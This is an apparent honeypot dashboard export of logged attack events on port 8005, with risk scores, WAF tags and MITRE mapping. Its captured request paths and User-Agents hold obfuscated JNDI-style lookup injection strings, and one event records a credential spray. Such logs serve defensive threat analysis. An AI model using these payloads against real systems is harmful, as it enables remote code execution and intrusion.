"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${ba:-g}${uz:nm0:q4:-o}${1:n:-o}${lt4:-g}}",
"http_ua_hash": "988b78ab5422fe353f9892fa19dd4c6c5fa59222",
"http_host_hash": "474d34701ef094042bceaaeec604d0fd7a5f5a84",
"http_target_hash": "028cd3f594bd54799c07fe1757eebd92524e7f09",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.7979886813350365,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8005,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.2,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 58,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "b3816d3a8e2cf058c49ad1119d71c1678f6d632d",
"event_fingerprint": "e1a0ada22283fd63a052d256c808265f2fcebee3",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "6171e5124a6ab4c5e4f0eb037253d970",
"payload_hash": "28d258f28ff818d070d57fdac8f7249e",
"path_pattern_hash": "764868500e807cab1fb8e264333445af"
},
"target_context": {
"dst_port": 8005,
"service": "http",
"service_name": "http",
"risk_score": 58
},
"method": "GET",
"path": "\/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s:-s}${i:g:mjw:-:}${r3g9:g:fuw6:-j}${ravp:zhc:ami:-a}${ku:-v}${rev:-a}${uy:16fg:-.}${au:-v}${b76k:d2:-e}${l:-r}${yv0:-s}${62q:tbfj:p:-i}${2j:y0n:cpw:-o}${5:-n}}${rx3q:y:-.}${j:-f}${2x:9o4u:-0}${al:1l:-5}${l:1lw8:-c}${t3l:2ncx:-3}${2ch:-e}${ifa:n7jl:-4}${zo:xv:-",
"user_agent": "${${w5k:693m:6nj:-j}${g:g:l8o:-n}${bru:-d}${sr2:-i}${q7pw:-:}${1xd:r:-l}${m:-d}${5fr:-a}${lh:0o:-p}${w:6fvd:eh:-:}${6xcf:-\/}${6o3z:z:-\/}${qt1u:mrky:v:-U}${dr:0:-A}${iwa:l:2v6:-l}${r0dp:-0}${kr:9:-c}${dxz:c:--}${${8s:jb:-s}${cd:-y}${2t:otcp:-s}${iq0t:-:}${\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s:-s}${i:g:mjw:-:}${r3g9:g:fuw6:-j}${ravp:zhc:ami:-a}${ku:-v}${rev:-a}${uy:16fg:-.}${au:-v}${b76k:d2:-e}${l:-r}${yv0:-s}${62q:tbfj:p:-i}${2j:y0n:cpw:-o}${5:-n}}${rx3q:y:-.}${j:-f}${2x:9o4u:-0}${al:1l:-5}${l:1lw8:-c}${t3l:2ncx:-3}${2ch:-e}${ifa:n7jl:-4}${zo:",
"payload_snippet": "GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i1",
"evidence": {
"method": "GET",
"path": "\/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s:-s}${i:g:mjw:-:}${r3g9:g:fuw6:-j}${ravp:zhc:ami:-a}${ku:-v}${rev:-a}${uy:16fg:-.}${au:-v}${b76k:d2:-e}${l:-r}${yv0:-s}${62q:tbfj:p:-i}${2j:y0n:cpw:-o}${5:-n}}${rx3q:y:-.}${j:-f}${2x:9o4u:-0}${al:1l:-5}${l:1lw8:-c}${t3l:2ncx:-3}${2ch:-e}${ifa:n7jl:-4}${zo:xv:-",
"user_agent": "${${w5k:693m:6nj:-j}${g:g:l8o:-n}${bru:-d}${sr2:-i}${q7pw:-:}${1xd:r:-l}${m:-d}${5fr:-a}${lh:0o:-p}${w:6fvd:eh:-:}${6xcf:-\/}${6o3z:z:-\/}${qt1u:mrky:v:-U}${dr:0:-A}${iwa:l:2v6:-l}${r0dp:-0}${kr:9:-c}${dxz:c:--}${${8s:jb:-s}${cd:-y}${2t:otcp:-s}${iq0t:-:}${\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s:-s}${i:g:mjw:-:}${r3g9:g:fuw6:-j}${ravp:zhc:ami:-a}${ku:-v}${rev:-a}${uy:16fg:-.}${au:-v}${b76k:d2:-e}${l:-r}${yv0:-s}${62q:tbfj:p:-i}${2j:y0n:cpw:-o}${5:-n}}${rx3q:y:-.}${j:-f}${2x:9o4u:-0}${al:1l:-5}${l:1lw8:-c}${t3l:2ncx:-3}${2ch:-e}${ifa:n7jl:-4}${zo:",
"request_sample": "GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s",
"payload_snippet": "GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i1",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "6ecda72b5e3012cc27ae8c85a20ce9b7f78d2625",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2\u2026",
"request_line": "GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0\u2026",
"http_user_agent": "${${w5k:693m:6nj:-j}${g:g:l8o:-n}${bru:-d}${sr2:-i}${q7pw:-:}${1xd:r:-l}${m:-d}${5fr:-a}${lh:0o:-p}${w:6fvd:eh:-:}${6xc\u2026",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i1",
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}$\u2026",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 58\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 58,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8005,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2\u2026",
"request_line": "GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0\u2026",
"http_user_agent": "${${w5k:693m:6nj:-j}${g:g:l8o:-n}${bru:-d}${sr2:-i}${q7pw:-:}${1xd:r:-l}${m:-d}${5fr:-a}${lh:0o:-p}${w:6fvd:eh:-:}${6xc\u2026",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}$\u2026",
"evidence_snippet": "GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i1",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8005"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:34:15 UTC
TCP
8005 · HTTP ALT 8005
Injection PHP
php injection · via HTTP ALT 8005:8005 · (tentative d'exploit)
Faible
Moyen · 52
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
Émulateur
HTTP-ALT-8005
WAF
—
Recommandation
Investiguer
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
8005
Chemin / cible
—
Service
HTTP ALT 8005
Payload
ZSDLKFJ2 /${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:
Pourquoi cette classification : Type « php_injection » (signaux protocolaires) · confiance 97%
Confiance classification
100%
Corrélation +18
Risque capteur
Moyen
· 52
Confiance : Confiance 97 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 933135
User-Agent
—
Règles WAF
—
Payload (extrait)
ZSDLKFJ2 /${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:
Requête brute (extrait)
ZSDLKFJ2 /${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:-:}${vls:ek:8xq4:-/}${m9p:ph:w:-/}${6:7o:-P}${qux:g5n:-A}${j:qfwv:78h:-l}${f:dli:-0}${0du9:z4yf:dcb4:-c}${8lc:dvmu:w2:--}${${g7a
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"bytes_in": 4096,
"payload_entropy": 4.788403374977844,
"port_category": "registered",
"org": "Google LLC",
"service": "http-alt-8005",
"app_proto": "http-alt-8005",
"asn": 396982,
"country": "US",
"dst_port": 8005,
"risk_waf": 8,
"risk_classification": 84,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 22,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.1,
"risk_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15
},
"risk_score": 52,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "d9af369bde4e2828665e2d4e9860ebc242ac85ed",
"event_fingerprint": "701e9661ceed5a960b420218a0913f7296688bbc",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "http-alt-8005",
"risk_confidence_factor": 97,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "48749ea85ce7ea052e0795bdbd935be8",
"path_pattern_hash": "765741bf96f2b0261b26b2b9f8ad710b"
},
"target_context": {
"dst_port": 8005,
"service": "http-alt-8005",
"service_name": "http-alt-8005",
"risk_score": 52
},
"payload_preview": "ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:",
"request_sample": "ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:-:}${vls:ek:8xq4:-\/}${m9p:ph:w:-\/}${6:7o:-P}${qux:g5n:-A}${j:qfwv:78h:-l}${f:dli:-0}${0du9:z4yf:dcb4:-c}${8lc:dvmu:w2:--}${${g7a",
"payload_snippet": "ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:",
"evidence": {
"request_sample": "ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:-:}${vls:ek:8xq4:-\/}${m9p:ph:w:-\/}${6:7o:-P}${qux:g5n:-A}${j:qfwv:78h:-l}${f:dli:-0}${0du9:z4yf:dcb4:-c}${8lc:dvmu:w2:--}${${g7a",
"payload_snippet": "ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "39715872c4c8868a62d2880cbc7daad1230f8ae5",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:",
"port": 8005,
"service": "http-alt-8005",
"service_label_fr": "HTTP ALT 8005"
},
"evidence_snippet": "ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:",
"attack_vector": "php injection \u00b7 via HTTP ALT 8005:8005 \u00b7 (tentative d'exploit)",
"target_port_label": "8005 \u00b7 HTTP ALT 8005",
"emulator_service": "http-alt-8005",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"classification_reason_label_fr": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP ALT 8005 \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 52,
"risk_label": "Moyen",
"service_name": "http-alt-8005",
"service_label_fr": "HTTP ALT 8005",
"dst_port": 8005,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http-alt-8005",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:",
"port": 8005,
"service": "http-alt-8005",
"service_label_fr": "HTTP ALT 8005"
},
"attack_vector": "php injection \u00b7 via HTTP ALT 8005:8005 \u00b7 (tentative d'exploit)",
"evidence_snippet": "ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:",
"target_port_label": "8005 \u00b7 HTTP ALT 8005",
"emulator_service": "http-alt-8005",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http_alt_8005",
"service_banner": "honeypot-http-alt-8005",
"service_os": "linux",
"dst_port": "8005"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8005"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"asn_dc_heuristic": true
}
31/07/2026 15:34:15 UTC
TCP
8005 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:8005 · (sonde / probe) · → /login
Élevée
Élevé · 68
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8005
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8005
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Int
Requête brute (extrait)
POST /login HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8005 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Length: 2869 Content-Type:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "474d34701ef094042bceaaeec604d0fd7a5f5a84",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 3162,
"payload_entropy": 4.5570471123860585,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8005,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 7,
"anomaly_count": 0,
